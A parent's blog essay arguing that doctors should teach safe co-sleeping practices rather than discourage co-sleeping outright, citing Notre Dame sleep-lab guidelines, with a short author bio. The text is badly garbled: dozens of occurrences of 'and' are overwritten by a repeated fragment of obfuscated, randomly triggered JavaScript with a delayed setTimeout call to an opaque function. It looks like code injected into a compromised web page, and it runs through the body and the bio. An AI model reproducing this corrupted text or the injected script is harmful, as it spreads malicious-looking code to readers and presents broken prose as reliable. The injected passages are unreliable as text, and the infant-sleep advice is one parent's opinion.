What Doctors Get Wrong About Co-Sleeping

>>441564146_b7bfb88ad7_bBefore I had kids, the word co-sleeping once felt like it was from a foreign tongue — one spoken only by hippie commune-dwelling mamas, or fervently religious homeschooling zealots. I never had anything against either of those groups; it just wasn’t who I saw myself being, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so I never thought I’d be using the c-word.

Flash forward to today, when it rolls off my tongue without even a second’s pause.

It was clear from early on that co-sleeping was going to work for my family. We tried other things — the cradle next to the bed, a crib — but my daughter always slept better when she was lying next to me. I slept better, too, but not at the beginning. Instead, I was hyper-vigilant: sleeping in long-sleeved shirts andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and pants so that I could avoid needing any blankets on the bed, removing all pillows andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the mattress pad from the bed, keeping the temperature at the correct setting so that my daughter wouldn’t overheat, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sleeping very lightly until I was convinced that she was hardy enough to survive the night.

During my pregnancy, I was surrounded by women who understood how common co-sleeping was andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and who were intent on making sure everyone knew how to co-sleep safely. Not everyone has that same luck. They taught me that co-sleeping is a thing that a lot of people do — not just the hippies andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the homeschoolers — but that not everyone does correctly.

The thing is, it is very difficult to predict what is going to work for you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your baby. A parent who has no intention of co-sleeping andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thus learns nothing about it may nonetheless find herself desperately bringing baby into the bed to breastfeed then falling asleep on a pillow with a blanket pulled tight, simply because she is exhausted andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and doesn’t know the dangers of co-sleeping unsafely. In these cases, when parents who did not intend to co-sleep unexpectedly find themselves co-sleeping, it is >>more likely that their babies will end up in an unsafe sleeping environment.

In order to combat these risks, I would love to see some adjustments in the way doctors approach co-sleeping. Instead of telling new parents not to do it at all, everyone should receive education on how to co-sleep safely, should they decide to do it.  I like >>these guidelines from the Mother-Baby Behavioral Sleep Laboratory at Notre Dame, which frame the task as creating a safe sleep environment for baby, regardless of where baby sleeps. No pillows, no bedding, no soft surfaces, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and no parents using alcohol, tobacco, or other drugs in the crib or in the shared bed.

In the end, I view it in much the same light as abstinence-only sex education. Consenting adults are going to have sex, so they should know how to do it safely. Many consenting parents are going to co-sleep, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and they need to know how to do that safely, too.

>>Tiffany Frye 2Tiffany Frye manages a >>small but growing childcare andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and coworking cooperative andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and works as a managing editor for science publications. She lives in Durham, NC, with her husbandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and daughter.




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